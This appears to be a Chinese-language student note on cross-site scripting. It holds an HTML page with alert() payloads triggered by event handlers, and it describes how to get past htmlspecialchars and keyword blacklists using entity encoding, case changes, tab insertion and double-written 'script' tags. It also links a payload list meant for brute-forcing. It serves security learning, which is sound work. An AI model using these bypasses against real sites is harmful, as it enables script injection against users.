觸發方式都寫在里面了
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Untitled</title> </head> <body> <div onmouseenter="alert(1)" style="background-color:red">當鼠標進入該區域執行代碼</div> <br> <div onmouseleave="alert(2)" style="BACKGROUND-COLOR:red">當鼠標離開該區域執行代碼</div> <br> <div onmousewheel="alert(3)" style="BACKGROUND-COLOR: red">當鼠標在選區滾輪時執行代碼</div> <br> <div style="width:100px;height:100px;overflow:scroll" onscroll="alert(4)">當獲得焦點時執行代碼 <br/> </div> <br> <div contentEditable="true" style="background-color:red" onfocusin="alert(5)" >獲得焦點(點擊這個輸入框)</div> <br> <div contentEditable="true" style="background-color:red" onfocusout="alert(6)" >失去焦點(沒搞懂)</div> <br> <div style="background-color:red;" onbeforecopy="alert(8)" >框選文字復制</div> <br> <div contentEditable="true" style="background-color:red;" onbeforecut="alert(9)" >框選文字剪切</div> <br> </body> </html>

只寫部分,更多觸發事件可以參考這兩篇文章
https://blog.csdn.net/qq_36374896/article/details/82755793
https://www.cnblogs.com/webzhuo/p/4155594.html
再說一下防護:
輸入檢測:
htmlspecialchars函數:用來把一些預定義的字符轉換為HTML實體,默認不開啟對單引號的過濾
繞過:用onmouseover或者onclick等方式,像xsslabs里第2,3,4題就是用onclick
關鍵字黑名單:
換一個關鍵字,反正上面有這么多。
用html字符實體編碼,網站https://www.qqxiuzi.cn/bianma/zifushiti.php
或者用大小寫繞過
或者使用tab制表符,空格,回車等(比如jav ascri pt:alert(1) 。這個要先在別的文本框輸入tab進去(有些情況下,按下tab就跳到下一個別的地方去了),在把payload復制過來使用。
當遇到清除關鍵字的時候,可以嘗試雙寫繞過,scriscriptpt,清除一個script后,剩下的拼接回來又是一個script,這個在注入里面也會用到
同時昨天通過學長,得到一大票xsspayload,也放在這里,可以拿來爆破
https://github.com/TheKingOfDuck/easyXssPayload
